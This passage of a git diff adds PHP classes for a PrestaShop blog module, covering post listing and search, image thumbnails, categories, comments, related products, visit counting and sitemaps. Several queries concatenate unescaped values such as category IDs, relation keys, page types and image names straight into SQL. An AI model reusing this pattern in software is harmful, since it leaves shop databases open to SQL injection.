'blog_post p + LEFT JOIN `' . _DB_PREFIX_ . 'blog_post_lang` pl ON pl.`id_blog_post` = p.`id_blog_post` '; + + if ($context) + $query .= BlogShop::addShopAssociation('blog_post', 'p', $context); + + if (!$count) { + $query .= ' LEFT JOIN ' . _DB_PREFIX_ . 'blog_image pi ON p.id_blog_post = pi.id_blog_post AND pi.default = 1 + LEFT JOIN ' . _DB_PREFIX_ . 'blog_comment bc ON p.id_blog_post = bc.id_blog_post AND bc.active = 1 '; + + if ($context) { + if (isset($context->language)) + $query .= ' AND bc.id_lang = ' . $context->language->id; + + $query .= ' AND bc.id_shop = ' . $context->shop->id; + } + } + + if ($context && isset($context->language)) + $query .= ' INNER JOIN `' . _DB_PREFIX_ . 'blog_post_relation` pr ON pr.`id_blog_post` = p.`id_blog_post` AND pr.`key` = "lang" AND pr.`value` = "' . $context->language->id . '"'; + + if (!is_null($category_id)) + $query .= ' INNER JOIN ' . _DB_PREFIX_ . 'blog_post_relation pr2 ON pr2.id_blog_post = p.id_blog_post AND pr2.`key` = "category" AND pr2.`value` = "' . $category_id . '"'; + + if (!is_null($product_id)) + $query .= ' INNER JOIN ' . _DB_PREFIX_ . 'blog_post_relation pr3 ON pr3.`id_blog_post` = p.`id_blog_post` AND pr3.`key` = "product" AND pr3.`value` = "' . $product_id . '"'; + + $query .= ' WHERE pl.`id_lang` = ' . $id_lang; + + if (!is_null($except_id) && is_numeric($except_id)) + $query .= ' AND p.id_blog_post != ' . $except_id; + + if ($publish) + $query .= ' AND p.status = "published" AND NOW() >= p.date_on'; + + if (!is_null($year) && is_numeric($year)) + $query .= ' AND YEAR(p.`date_on`) = ' . $year; + + if (!is_null($month) && is_numeric($month)) + $query .= ' AND (MONTH(p.`date_on`) = ' . $month . ' AND YEAR(p.`date_on`) = ' . date('Y') . ') '; + + if ($count) { + + $result = Db::getInstance()->getRow($query); + return $result['nb']; + } else { + $query .= ' GROUP BY p.id_blog_post '; + $query .= ' ORDER BY p.date_on DESC, p.id_blog_post DESC '; + if (!is_null($limit)) + $query .= ' LIMIT ' . $start . ',' . $limit; + + $result = Db::getInstance()->ExecuteS($query); + + if ($result) { + $i = 0; + foreach ($result as $val) { + $result[$i]['link'] = BlogPost::linkPost($val['id_blog_post'], $val['link_rewrite']); + $i++; + } + } + + return $result; + } + } + + public static function getArchives() { + + $context = Context::getContext(); + + $query = 'SELECT YEAR(p.date_on) as `year`, MONTH(p.date_on) as `month`, COUNT(p.`id_blog_post`) as nb FROM ' . _DB_PREFIX_ . 'blog_post p '; + + if ($context) + $query .= BlogShop::addShopAssociation('blog_post', 'p', $context); + + if ($context && isset($context->language)) + $query .= ' INNER JOIN `' . _DB_PREFIX_ . 'blog_post_relation` pr ON pr.`id_blog_post` = p.`id_blog_post` AND pr.`key` = "lang" AND pr.`value` = "' . $context->language->id . '"'; + + $query .= ' WHERE 1 '; + + $query .= ' AND p.status = "published" AND NOW() >= p.date_on'; + + $query .= ' GROUP BY `year`,`month` '; + $query .= ' ORDER BY p.date_on DESC, p.id_blog_post DESC '; + + $result = Db::getInstance()->ExecuteS($query); + + return $result; + } + + public static function searchPosts($search_query, $checkContext = true, $publish = true, $count = false, $start = 0, $limit = 5, $category_id = null) { + + $context = null; + if ($checkContext) { + $context = Context::getContext(); + $id_lang = $context->language->id; + $id_shop = $context->shop->id; + } + + $id_lang = (is_null($context) || !isset($context->language)) ? Context::getContext()->language->id : $context->language->id; + + if ($count) { + $select = ' COUNT(DISTINCT(p.`id_blog_post`)) as nb '; + } else { + $select = ' DISTINCT(p.id_blog_post), pl.title, pl.excerpt, pl.link_rewrite, pl.meta_description, + p.date_on, pi.id_blog_image as default_img, pi.img_name as default_img_name, + p.allow_comments, COUNT(bc.id_blog_comment) as nb_comments '; + } + + $query = 'SELECT ' . $select . ' FROM ' . _DB_PREFIX_ . 'blog_post p + LEFT JOIN `' . _DB_PREFIX_ . 'blog_post_lang` pl ON pl.`id_blog_post` = p.`id_blog_post` '; + + if ($checkContext) { + $query .= BlogShop::addShopAssociation('blog_post', 'p'); + } + + if (!$count) { + $query .= ' LEFT JOIN ' . _DB_PREFIX_ . 'blog_image pi ON p.id_blog_post = pi.id_blog_post AND pi.default = 1 + LEFT JOIN ' . _DB_PREFIX_ . 'blog_comment bc ON p.id_blog_post = bc.id_blog_post AND bc.active = 1'; + + if ($checkContext) { + $query .= ' AND bc.id_lang = ' . intval($id_lang); + $query .= ' AND bc.id_shop = ' . intval($id_shop); + } + } + + if ($context && isset($context->language)) + $query .= ' INNER JOIN `' . _DB_PREFIX_ . 'blog_post_relation` pr ON (pr.`id_blog_post` = p.`id_blog_post` AND pr.`key` = "lang" AND pr.`value` = "' . $context->language->id . '") '; + + if (!is_null($category_id)) + $query .= ' INNER JOIN ' . _DB_PREFIX_ . 'blog_categories pc ON pc.id_blog_post = p.id_blog_post AND pc.id_blog_category = ' . $category_id; + + $query .= ' WHERE pl.`id_lang` = ' . $id_lang; + + if ($publish) { + $query .= ' AND p.status = "published" AND NOW() >= p.date_on'; + } + + $query .= ' AND ( pl.title LIKE \'%' . pSQL($search_query) . '%\' OR pl.excerpt LIKE \'%' . pSQL($search_query) . '%\' OR pl.meta_keywords LIKE \'%' . pSQL($search_query) . '%\' )'; + + if ($count) { + $result = Db::getInstance()->getRow($query); + return $result['nb']; + } else { + $query .= ' GROUP BY p.id_blog_post '; + $query .= ' ORDER BY p.date_on DESC, p.id_blog_post DESC '; + if (!is_null($limit)) + $query .= ' LIMIT ' . $start . ',' . $limit; + + $result = Db::getInstance()->ExecuteS($query); + + if ($result) { + $i = 0; + foreach ($result as $val) { + $result[$i]['link'] = BlogPost::linkPost($val['id_blog_post'], $val['link_rewrite']); + $i++; + } + } + + return $result; + } + } + + /* * *** images *** */ + + public function getImages($count = false, $exclude_default = false) { + $select = $count ? "count(*) as nb" : "*"; + $query = 'SELECT ' . $select . ' FROM ' . _DB_PREFIX_ . 'blog_image pi WHERE pi.id_blog_post = ' . intval($this->id); + if ($exclude_default) + $query .= ' AND pi.default = 0'; + if (!$count) + $query .= ' ORDER BY position ASC, id_blog_image DESC '; + + if ($count) { + $result = Db::getInstance()->getRow($query); + return intval($result['nb']); + } else { + $result = Db::getInstance()->ExecuteS($query); + } + + return $result; + } + + public static function getAllImages() { + $query = 'SELECT * FROM ' . _DB_PREFIX_ . 'blog_image'; + return Db::getInstance()->ExecuteS($query); + } + + public function setImagesPosition($images_position) { + if (is_array($images_position) && count($images_position)) { + $query = ' UPDATE ' . _DB_PREFIX_ . 'blog_image SET `position` = CASE `id_blog_image` '; + $ids = array(); + foreach ($images_position as $id => $pos) { + if (Validate::isUnsignedInt($id) && Validate::isUnsignedInt($pos)) { + $query .= ' WHEN ' . $id . ' THEN ' . $pos; + $ids[] = $id; + } + } + if (count($ids)) { + $query .= ' END WHERE `id_blog_image` IN (' . implode(',', $ids) . ')'; + return Db::getInstance()->Execute($query); + } + } + return false; + } + + public static function generateImageThumbs($image_id) { + + $image = self::getImage($image_id); + + if (!$image) + return false; + + $conf = Psblog::getPreferences(); + $dest = _PS_ROOT_DIR_ . '/' . rtrim($conf['img_save_path'], '/') . "/"; + + $img_name = $image['img_name']; + + //thumbs + $img_list_width = $conf['img_list_width']; + $img_thumb_width = $conf['img_width']; + + $size = getimagesize($dest . $img_name); + + $ratio_list = $img_list_width / $size[0]; + $img_list_height = $size[1] * $ratio_list; + + $ratio_thumb = $img_thumb_width / $size[0]; + $img_thumb_height = $size[1] * $ratio_thumb; + + ImageManager::resize($dest . $img_name, $dest . 'list/' . $img_name, $img_list_width, $img_list_height); + ImageManager::resize($dest . $img_name, $dest . 'thumb/' . $img_name, $img_thumb_width, $img_thumb_height); + } + + public function addImage($name, $default = 0) { + $nb = $this->getImages(true) + 1; + + $result = Db::getInstance()->Execute('INSERT INTO ' . _DB_PREFIX_ . 'blog_image(`id_blog_post`,`img_name`,`default`,`position`) + VALUES(' . intval($this->id) . ',"' . $name . '","' . $default . '",' . $nb . ')'); + if ($result) + return Db::getInstance()->Insert_ID(); + return $result; + } + + public function setImageDefault($prestablog_image_id) { + if ($prestablog_image_id != 0) { + Db::getInstance()->Execute('UPDATE ' . _DB_PREFIX_ . 'blog_image SET `default` = 0 WHERE id_blog_post = ' . intval($this->id)); + Db::getInstance()->Execute('UPDATE ' . _DB_PREFIX_ . 'blog_image SET `default` = 1 WHERE id_blog_image = ' . intval($prestablog_image_id)); + } else { + Db::getInstance()->Execute('UPDATE ' . _DB_PREFIX_ . 'blog_image SET `default` = 1 WHERE id_blog_post = ' . intval($this->id) . ' ORDER BY id_blog_image ASC LIMIT 1'); + } + } + + public function getDefaultImage() { + $result = Db::getInstance()->getRow('SELECT * FROM ' . _DB_PREFIX_ . 'blog_image pi WHERE pi.default = 1 AND pi.id_blog_post = ' . intval($this->id)); + return $result; + } + + public static function getImage($image_id) { + $result = Db::getInstance()->getRow('SELECT * FROM ' . _DB_PREFIX_ . 'blog_image pi WHERE pi.id_blog_image = ' . intval($image_id)); + return $result; + } + + public function removeImage($image_id) { + + $conf = Psblog::getPreferences(); + $save_path = _PS_ROOT_DIR_ . '/' . rtrim($conf['img_save_path'], '/') . "/"; + $image = self::getImage($image_id); + + if ($image) { + + $result = Db::getInstance()->Execute('DELETE FROM ' . _DB_PREFIX_ . 'blog_image WHERE id_blog_image = ' . intval($image_id)); + + if ($result) { + + $filename = $image['img_name']; + + if (file_exists($save_path . $filename)) { + @unlink($save_path . $filename); + } + if (file_exists($save_path . 'thumb/' . $filename)) { + @unlink($save_path . 'thumb/' . $filename); + } + if (file_exists($save_path . 'list/' . $filename)) { + @unlink($save_path . 'list/' . $filename); + } + + if ($image['default'] == 1) + $this->setImageDefault(0); + + return $result; + } + } + return false; + } + + public function cleanImages() { + + $conf = Psblog::getPreferences(); + $save_path = rtrim($conf['img_save_path'], '/') . "/"; + + $psblog_images = $this->getImages(); + foreach ($psblog_images as $img) { + $filename = $img['img_name']; + if (file_exists(_PS_ROOT_DIR_ . "/" . $save_path . $filename)) + @unlink(_PS_ROOT_DIR_ . "/" . $save_path . $filename); + if (file_exists(_PS_ROOT_DIR_ . "/" . $save_path . 'list/' . $filename)) + @unlink(_PS_ROOT_DIR_ . "/" . $save_path . 'list/' . $filename); + if (file_exists(_PS_ROOT_DIR_ . "/" . $save_path . 'thumb/' . $filename)) + @unlink(_PS_ROOT_DIR_ . "/" . $save_path . 'thumb/' . $filename); + } + + $result = Db::getInstance()->Execute('DELETE FROM ' . _DB_PREFIX_ . 'blog_image WHERE id_blog_post = ' . intval($this->id)); + return $result; + } + + /***** categories *****/ + + public function listCategories($id_lang = null, $checkContext = true, $active = true, $onlyIds = false) { + + $context = null; + if ($checkContext) { + $context = Context::getContext(); + } + + $id_lang = (is_null($context) || !isset($context->language)) ? Context::getContext()->language->id : $context->language->id; + + $query = 'SELECT DISTINCT(c.`id_blog_category`), cl.`name`, cl.`link_rewrite`, c.id_blog_category_parent + FROM ' . _DB_PREFIX_ . 'blog_post_relation pr + INNER JOIN `' . _DB_PREFIX_ . 'blog_category` c ON (pr.`key` = "category" AND c.`id_blog_category`= pr.`value`)'; + + $query .= ' LEFT JOIN `' . _DB_PREFIX_ . 'blog_category_lang` cl ON cl.`id_blog_category` = c.`id_blog_category` '; + + if ($checkContext) { + $query .= BlogShop::addShopAssociation('blog_category', 'c'); + + $groups = FrontController::getCurrentCustomerGroups(); + $sql_groups = (count($groups) ? 'IN (' . implode(',', $groups) . ')' : '=' . (int) Group::getCurrent()->id); + $query .= ' INNER JOIN `' . _DB_PREFIX_ . 'blog_category_relation` cr2 ON (cr2.`id_blog_category` = c.`id_blog_category` AND cr2.`key` = "group" AND cr2.`value` ' . $sql_groups . ') '; + } + + if ($checkContext && isset($context->language)) + $query .= ' INNER JOIN `' . _DB_PREFIX_ . 'blog_category_relation` cr ON (cr.`id_blog_category` = c.`id_blog_category` AND cr.`key` = "lang" AND cr.`value` = "' . $context->language->id . '") '; + + $query .= ' WHERE pr.`id_blog_post` = ' . intval($this->id) . ' AND cl.`id_lang` = ' . $id_lang . ' AND c.`id_blog_category` != 1 '; + + if ($active) + $query .= ' AND c.`active` = 1 '; + + $query .= ' GROUP BY c.`id_blog_category` ORDER BY pr.`id_blog_post_relation` ASC, cl.`name` ASC'; + + $result = Db::getInstance()->ExecuteS($query); + + if (!$result) + return array(); + + if ($checkContext) { + $new_result = array(); + foreach ($result as $cat) { + if (!is_null($cat['id_blog_category_parent']) && !empty($cat['id_blog_category_parent'])) { + $parentCategory = new BlogCategory((int) $cat['id_blog_category_parent']); + if ($parentCategory->isAllowed()) { + $new_result[] = $cat; + } + } else { + $new_result[] = $cat; + } + } + $result = $new_result; + } + + if (!$onlyIds) { + $i = 0; + foreach ($result as $cat) { + $result[$i]['link'] = BlogCategory::linkCategory($cat['id_blog_category'], $cat['link_rewrite']); + $i++; + } + return $result; + } else { + + $resultIds = array(); + foreach ($result as $group) + $resultIds[] = $group['id_blog_category']; + + return $resultIds; + } + } + + /**** comments ****/ + + public function getComments($checkContext = true, $publish = true, $count = false) { + + if ($checkContext) { + $context = Context::getContext(); + $id_lang = $context->language->id; + $id_shop = $context->shop->id; + } + + $select = $count ? "count(*) as nb" : "c.*"; + $query = 'SELECT ' . $select . ' FROM ' . _DB_PREFIX_ . 'blog_comment c + INNER JOIN ' . _DB_PREFIX_ . 'blog_post p ON p.id_blog_post = c.id_blog_post '; + + $query .= ' WHERE c.id_blog_post = ' . intval($this->id); + + if ($publish) + $query .= ' AND active = 2'; + + if ($checkContext) { + $query .= ' AND (c.id_lang = ' . intval($id_lang) . ') '; + $query .= ' AND (c.id_shop = ' . intval($id_shop) . ') '; + } + + $query .= ' ORDER BY c.date_add ASC'; + + $result = Db::getInstance()->ExecuteS($query); + if ($count) + return intval($result[0]['nb']); + return $result; + } + + public function cleanComments() { + return Db::getInstance()->Execute('DELETE FROM `' . _DB_PREFIX_ . 'blog_comment` WHERE `id_blog_post` = ' . intval($this->id)); + } + + /* * *** Langs *** */ + + public function getLangs($onlyIds = false) { + + $query = 'SELECT l.* FROM ' . _DB_PREFIX_ . 'blog_post_relation pr + INNER JOIN `' . _DB_PREFIX_ . 'lang` l ON (pr.`key` = "lang" AND l.`id_lang`= pr.`value`) + WHERE pr.`id_blog_post` = ' . intval($this->id); + + $result = Db::getInstance()->ExecuteS($query); + + if ($result && $onlyIds) { + $resultIds = array(); + foreach ($result as $group) + $resultIds[] = $group['id_lang']; + + return $resultIds; + } + + return $result; + } + + /* * *** related **** */ + + public function getRelatedPosts($checkContext = true, $publish = true, $onlyIds = false) { + + $context = null; + if ($checkContext) { + $context = Context::getContext(); + } + + $id_lang = (is_null($context) || !isset($context->language)) ? Context::getContext()->language->id : $context->language->id; + + $query = 'SELECT p.`id_blog_post`, pl.`title`, pl.`link_rewrite` + FROM `' . _DB_PREFIX_ . 'blog_post_relation` pr + INNER JOIN ' . _DB_PREFIX_ . 'blog_post p ON (pr.`key` = "post" AND p.`id_blog_post`= pr.`value`) + LEFT JOIN `' . _DB_PREFIX_ . 'blog_post_lang` pl ON pl.`id_blog_post` = p.`id_blog_post` '; + + if ($checkContext) { + $query .= BlogShop::addShopAssociation('blog_post', 'p'); + } + + if ($checkContext && isset($context->language)) + $query .= ' INNER JOIN `' . _DB_PREFIX_ . 'blog_post_relation` pr2 ON (pr2.`id_blog_post` = p.`id_blog_post` AND pr2.`key` = "lang" AND pr2.`value` = "' . $context->language->id . '") '; + + $query .= ' WHERE pl.`id_lang` = ' . $id_lang . ' AND pr.`id_blog_post` = ' . intval($this->id); + + if ($publish) + $query .= ' AND p.`status` = "published" AND p.`date_on` <= NOW()'; + + $query .= ' ORDER BY p.`date_on` DESC, p.`id_blog_post` DESC'; + + $result = Db::getInstance()->ExecuteS($query); + + if (!$result) + return array(); + + if (!$onlyIds) { + + //link + if ($result) { + $i = 0; + foreach ($result as $val) { + $result[$i]['link'] = BlogPost::linkPost($val['id_blog_post'], $val['link_rewrite']); + $i++; + } + } + + return $result; + } else { + + $resultIds = array(); + foreach ($result as $group) + $resultIds[] = $group['id_blog_post']; + + return $resultIds; + } + } + + public function isAssociatedToLang($id_lang = null) { + + if ($id_lang === null) + $id_lang = Context::getContext()->language->id; + + $query = 'SELECT l.* FROM `' . _DB_PREFIX_ . 'blog_post_relation` pr + INNER JOIN `' . _DB_PREFIX_ . 'lang` l ON (pr.`key` = "lang" AND l.`id_lang`= pr.`value`) + WHERE pr.`id_blog_post` = ' . intval($this->id) . ' AND pr.`value` = "' . $id_lang . '"'; + + return (bool) Db::getInstance()->getValue($query); + } + + /* * *** products **** */ + + public function getProducts($checkContext = true, $active = false, $onlyIds = false) { + + $context = Context::getContext(); + $id_lang = $context->language->id; + + $query = 'SELECT p.`id_product`, p.`reference`, pl.`name`, i.`id_image`, pl.`description_short`, pl.`link_rewrite` + FROM `' . _DB_PREFIX_ . 'blog_post_relation` br + INNER JOIN `' . _DB_PREFIX_ . 'product` p ON (br.`key` = "product" AND p.`id_product`= br.`value`) + INNER JOIN `' . _DB_PREFIX_ . 'product_lang` pl ON ( + p.`id_product` = pl.`id_product` + AND pl.`id_lang` = ' . (int) $id_lang . Shop::addSqlRestrictionOnLang('pl') . ' + ) + LEFT JOIN `' . _DB_PREFIX_ . 'image` i ON (i.`id_product` = p.`id_product` AND i.`cover` = 1)'; + + if ($checkContext) + $query .= BlogShop::addShopAssociation('product', 'p'); + + $query .= ' WHERE br.`id_blog_post` = ' . intval($this->id); + + if ($active) + $query .= ' AND p.`active` = 1 '; + + $query .= ' ORDER BY br.`id_blog_post_relation` ASC, pl.`name` DESC'; + + $result = Db::getInstance()->ExecuteS($query); + + if (!$result) + return array(); + + if (!$onlyIds) { + + $i = 0; + $size = Psblog::getConfValue('product_img_format'); + foreach ($result as $p) { + $product = new Product($p['id_product'], false, $context->language->id); + $result[$i]['name'] = str_replace('®', '', $result[$i]['name']); + $result[$i]['link'] = $context->link->getProductLink($product); + $result[$i]['imageLink'] = $context->link->getImageLink($p['link_rewrite'], $p['id_product'] . '-' . $p['id_image'], $size); + $i++; + } + + return $result; + } else { + $resultIds = array(); + foreach ($result as $group) + $resultIds[] = $group['id_product']; + + return $resultIds; + } + } + + public static function linkPost($post_id, $rewrite, $context = NULL) { + + if (is_null($context) || !($context instanceof Context)) { + $context = Context::getContext(); + } + + $languages = Language::getLanguages(true, $context->shop->id); + $shop_url = $context->shop->getBaseURL(); + + if (Configuration::get('PS_REWRITING_SETTINGS')) { + $lang_rewrite = Psblog::getRewriteCode($context->language->id); + $iso = (isset($context->language) && count($languages) > 1) ? $context->language->iso_code . '/' : ''; + + if (is_null($rewrite) || trim($rewrite) == '') { + $post = new BlogPost($post_id, (int) Configuration::get('PS_LANG_DEFAULT')); + $rewrite = $post->link_rewrite; + } + + return $shop_url . $iso . $lang_rewrite . '/' . $post_id . '-' . $rewrite; + } else { + $id_lang = (isset($context->language) && count($languages) > 1) ? '&id_lang=' . $context->language->id : ''; + return $shop_url . 'index.php?fc=module&module=psblog&controller=posts&post=' . $post_id . $id_lang; + } + } + + public static function linkRss() { + + $context = Context::getContext(); + $languages = Language::getLanguages(true, $context->shop->id); + $shop_url = $context->shop->getBaseURL(); + + $rss_url = $shop_url . 'modules/psblog/rss.php'; + + if (isset($context->language) && count($languages) > 1) { + $rss_url .= '?id_lang=' . $context->language->id; + } + return $rss_url; + } + + public static function linkList($p = null, $context = null, $params = array()) { + + require_once(_PS_MODULE_DIR_ . "psblog/classes/BlogCategory.php"); + return BlogCategory::linkCategory(1, null, $p, $context, $params); + } + +} + +?> diff --git a/modules/psblog/classes/BlogPostRelation.php b/modules/psblog/classes/BlogPostRelation.php new file mode 100755 index 0000000..53f1106 --- /dev/null +++ b/modules/psblog/classes/BlogPostRelation.php @@ -0,0 +1,61 @@ + 'blog_post_relation', + 'primary' => 'id_blog_post_relation', + 'fields' => array( + 'id_blog_post' => array('type' => self::TYPE_INT, 'validate' => 'isUnsignedInt','required' => true), + 'key' => array('type' => self::TYPE_STRING, 'validate' => 'isGenericName', 'required' => true, 'size' => 24), + 'value' => array('type' => self::TYPE_STRING, 'validate' => 'isGenericName', 'required' => true, 'size' => 255), + ) + ); + + public static function saveRelation($id_blog_post,$key,$data){ + + if(!is_numeric($id_blog_post) || empty($id_blog_post)) return false; + + self::cleanRelation($id_blog_post,$key); + + if(is_array($data) && count($data)){ + foreach ($data as $value) { + $row = array('id_blog_post' => intval($id_blog_post),'key' => $key,'value' => $value); + Db::getInstance()->AutoExecute(_DB_PREFIX_ . 'blog_post_relation', $row, 'INSERT'); + } + } + + return true; + } + + public static function cleanRelation($id_blog_post,$key){ + if(!is_numeric($id_blog_post) || empty($id_blog_post)) return false; + return Db::getInstance()->Execute('DELETE FROM `' . _DB_PREFIX_ . 'blog_post_relation` WHERE `id_blog_post` = '.intval($id_blog_post).' AND `key` = "'.$key.'"'); + } + + public static function cleanPostRelations($id_blog_post){ + if(!is_numeric($id_blog_post) || empty($id_blog_post)) return false; + return Db::getInstance()->Execute('DELETE FROM `' . _DB_PREFIX_ . 'blog_post_relation` WHERE `id_blog_post` = '.intval($id_blog_post)); + } + + public static function getRelation($id_blog_post,$key){ + + $values = array(); + + if(!is_numeric($id_blog_post) || empty($id_blog_post)) return $values; + + $query = 'SELECT * FROM `' . _DB_PREFIX_ . 'blog_post_relation` pr WHERE pr.`key` = "'.$key.'" AND pr.`id_blog_post` = '.$id_blog_post; + $result = Db::getInstance()->ExecuteS($query); + + if(is_array($result) && count($result)){ + foreach($result as $row) + $values[] = $row['value']; + } + return $values; + } + +} \ No newline at end of file diff --git a/modules/psblog/classes/BlogShop.php b/modules/psblog/classes/BlogShop.php new file mode 100755 index 0000000..a49c315 --- /dev/null +++ b/modules/psblog/classes/BlogShop.php @@ -0,0 +1,132 @@ + array('type' => 'shop'), + 'blog_category' => array('type' => 'shop')); + + public static function addBlogAssoTables() + { + foreach (self::$blog_shop_tables as $key => $val){ + ShopCore::$asso_tables[$key] = $val; + } + } + + public static function addShopAssociation($table, $alias, $context = null) + { + if(is_null($context)) + $context = Context::getContext(); + + $table_alias = $table.'_shop'; + if (strpos($table, '.') !== false) + list($table_alias, $table) = explode('.', $table); + + if (!array_key_exists($table,self::$blog_shop_tables)) return; + + $sql = ' INNER JOIN '._DB_PREFIX_.$table.'_shop '.$table_alias.' ON ('.$table_alias.'.id_'.$table.' = '.$alias.'.id_'.$table; + + if (isset($context->shop->id)) + $sql .= ' AND '.$table_alias.'.id_shop = '.(int)$context->shop->id; + elseif (Shop::checkIdShopDefault($table)) + $sql .= ' AND '.$table_alias.'.id_shop = '.$alias.'.id_shop_default'; + else + $sql .= ' AND '.$table_alias.'.id_shop IN ('.implode(', ', Shop::getContextListShopID()).')'; + + $sql .= ')'; + + return $sql; + } + + public static function generateSitemap(){ + + require_once(_PS_MODULE_DIR_.'psblog/classes/BlogCategory.php'); + require_once(_PS_MODULE_DIR_.'psblog/classes/BlogPost.php'); + + $filename = _PS_MODULE_DIR_.'psblog/sitemap-blog.xml'; + + if(!is_writable($filename)){ + return FALSE; + } + + $sql = 'SELECT s.id_shop, su.domain, su.domain_ssl, CONCAT(su.physical_uri, su.virtual_uri) as uri + FROM '._DB_PREFIX_.'shop s + INNER JOIN '._DB_PREFIX_.'shop_url su ON s.id_shop = su.id_shop AND su.main = 1 + WHERE s.active = 1 AND s.deleted = 0 AND su.active = 1'; + + if (!$result = Db::getInstance()->executeS($sql)) return false; + + $xml = simplexml_load_file($filename); + $sxe = new SimpleXMLElement($xml->asXML()); + unset($sxe->url); + $sxe->asXML($filename); + + foreach ($result as $row) + { + $shopContext = Context::getContext()->cloneContext(); + $shopContext->shop = new Shop($row['id_shop']); + $defaultLang = new Language((int)Configuration::get('PS_LANG_DEFAULT')); + $shopContext->language = $defaultLang; + + $defaultCategory = new BlogCategory(1,$defaultLang->id); + $defaultCategoryLangs = $defaultCategory->getLangs(); + + $shopPosts = BlogPost::listPosts($shopContext,true); + $shopCategories = BlogCategory::listCategories($shopContext,true, false, false,array(1)); + + foreach($defaultCategoryLangs as $l){ + + $shopContext->language = new Language($l['id_lang']); + $url = $sxe->addChild('url'); + + $listlink = str_replace('&','&', BlogPost::linkList(null,$shopContext)); + $url->addChild('loc',$listlink); + + $url->addChild('priority','0.7'); + $url->addChild('changefreq','weekly'); + } + + foreach($shopPosts as $post){ + + $blogpost = new BlogPost($post['id_blog_post']); + $langs = $blogpost->getLangs(); + + foreach($langs as $l){ + + $shopContext->language = new Language($l['id_lang']); + $link_rewrite = isset($blogpost->link_rewrite[$l['id_lang']]) ? $blogpost->link_rewrite[$l['id_lang']] : $blogpost->link_rewrite[$defaultLang->id]; + + $postlink = str_replace('&','&', BlogPost::linkPost($post['id_blog_post'],$link_rewrite,$shopContext)); + + $url = $sxe->addChild('url'); + $url->addChild('loc', $postlink); + $url->addChild('priority','0.6'); + $url->addChild('changefreq','monthly'); + + } + } + + foreach($shopCategories as $cat){ + + $blogcat = new BlogCategory($cat['id_blog_category']); + $langs = $blogcat->getLangs(); + + foreach($langs as $l){ + + $shopContext->language = new Language($l['id_lang']); + $link_rewrite = isset($blogcat->link_rewrite[$l['id_lang']]) ? $blogcat->link_rewrite[$l['id_lang']] : $blogcat->link_rewrite[$defaultLang->id]; + + $catlink = str_replace('&','&', BlogCategory::linkCategory($cat['id_blog_category'],$link_rewrite,null,$shopContext)); + $url = $sxe->addChild('url'); + $url->addChild('loc', $catlink); + $url->addChild('priority','0.6'); + $url->addChild('changefreq','monthly'); + } + } + + $sxe->asXML($filename); + } + } + +} \ No newline at end of file diff --git a/modules/psblog/classes/BlogVisit.php b/modules/psblog/classes/BlogVisit.php new file mode 100755 index 0000000..c68df96 --- /dev/null +++ b/modules/psblog/classes/BlogVisit.php @@ -0,0 +1,105 @@ + 'blog_visit', + 'primary' => 'id_blog_visit', + 'multilang' => false, + 'multishop' => false, + 'fields' => array( + + 'type_page' => array('type' => self::TYPE_STRING, 'validate' => 'isGenericName', 'required' => true,'size' => 32), + 'id_page' => array('type' => self::TYPE_INT, 'validate' => 'isUnsignedInt','required' => true), + 'ip_address' => array('type' => self::TYPE_INT, 'validate' => 'isUnsignedInt'), + 'counter' => array('type' => self::TYPE_INT, 'validate' => 'isUnsignedInt'), + 'date_add' => array('type' => self::TYPE_DATE, 'validate' => 'isDateFormat'), + ) + ); + + public static function setNewConnexion($type_page,$id_page){ + + $ip_adress = ip2long(Tools::getRemoteAddr()); + + $query = 'SELECT * FROM `' . _DB_PREFIX_ . 'blog_visit` v + WHERE v.`type_page` = "'.$type_page.'" + AND v.`id_page` = '.$id_page.' AND v.`ip_address` = "'.$ip_adress.'"'; + + $result = Db::getInstance()->getRow($query); + + if($result){ + $id_blog_visit = $result['id_blog_visit']; + Db::getInstance()->Execute('UPDATE `'._DB_PREFIX_.'blog_visit` SET `counter` = `counter`+1 + WHERE `id_blog_visit` = '.$id_blog_visit); + }else{ + + $visit = new BlogVisit(); + $visit->id_page = $id_page; + $visit->type_page = $type_page; + $visit->ip_address = $ip_adress; + $visit->counter = 1; + $visit->add(); + + } + } + + public static function getPopularPosts($limit = 10, $unique = false){ + + $id_lang = Context::getContext()->language->id; + + if($unique) + $select = 'COUNT(v.`id_page`)'; + else + $select = 'SUM(v.`counter`)'; + + $query = 'SELECT '.$select.' as nb_visit, pl.`title`, pl.`id_blog_post` + FROM `' . _DB_PREFIX_ . 'blog_visit` v + INNER JOIN `' . _DB_PREFIX_ . 'blog_post_lang` pl ON (v.`id_page` = pl.`id_blog_post` AND v.`type_page` = "post") + WHERE pl.id_lang = '.$id_lang.' + GROUP BY v.`id_page` + ORDER BY nb_visit DESC + LIMIT 0,'.$limit; + + return Db::getInstance()->ExecuteS($query); + } + + public static function getPopularCategories($limit = 10, $unique = false){ + + $id_lang = Context::getContext()->language->id; + + if($unique) + $select = 'COUNT(v.`id_page`)'; + else + $select = 'SUM(v.`counter`)'; + + $query = 'SELECT '.$select.' as nb_visit, cl.`name`, cl.`id_blog_category` + FROM `' . _DB_PREFIX_ . 'blog_visit` v + INNER JOIN `' . _DB_PREFIX_ . 'blog_category_lang` cl ON (v.`id_page` = cl.`id_blog_category` AND v.`type_page` = "category") + WHERE cl.id_lang = '.$id_lang.' + GROUP BY v.`id_page` + ORDER BY nb_visit DESC + LIMIT 0,'.$limit; + + return Db::getInstance()->ExecuteS($query); + } + + +} \ No newline at end of file diff --git a/modules/psblog/controllers/admin/AdminBlogCategoriesController.php b/modules/psblog/controllers/admin/AdminBlogCategoriesController.php new file mode 100755 index 0000000..4e8ed50 --- /dev/null +++ b/modules/psblog/controllers/admin/AdminBlogCategoriesController.php @@ -0,0 +1,353 @@ +table = 'blog_category'; + $this->className = 'BlogCategory'; + $this->module = 'psblog'; + + if (Tools::getIsset('id_' . $this->table) || Tools::getIsset('add' . $this->table)) { + $this->multishop_context = Shop::CONTEXT_ALL; + } + + $this->edit = true; + $this->delete = true; + $this->view = false; + $this->allow_export = true; + + $this->addRowAction('edit'); + $this->addRowAction('delete'); + $this->addRowActionSkipList('delete', array(1, 2)); + + $this->_join .= ' LEFT JOIN `' . _DB_PREFIX_ . 'blog_category` bc2 ON (bc2.`id_blog_category` = a.`id_blog_category_parent`)'; + + $this->fields_list = array( + 'id_blog_category' => array('title' => $this->l('ID'), 'align' => 'center', 'width' => 30), + 'active' => array('title' => $this->l('Active'), 'active' => 'status', 'align' => 'center', 'type' => 'bool', 'orderby' => false, 'width' => 60)); + + $nb_lang = count(Language::getLanguages(true)); + + if ($nb_lang > 1) { + $this->_select .= ' (SELECT GROUP_CONCAT(l.iso_code) FROM ' . 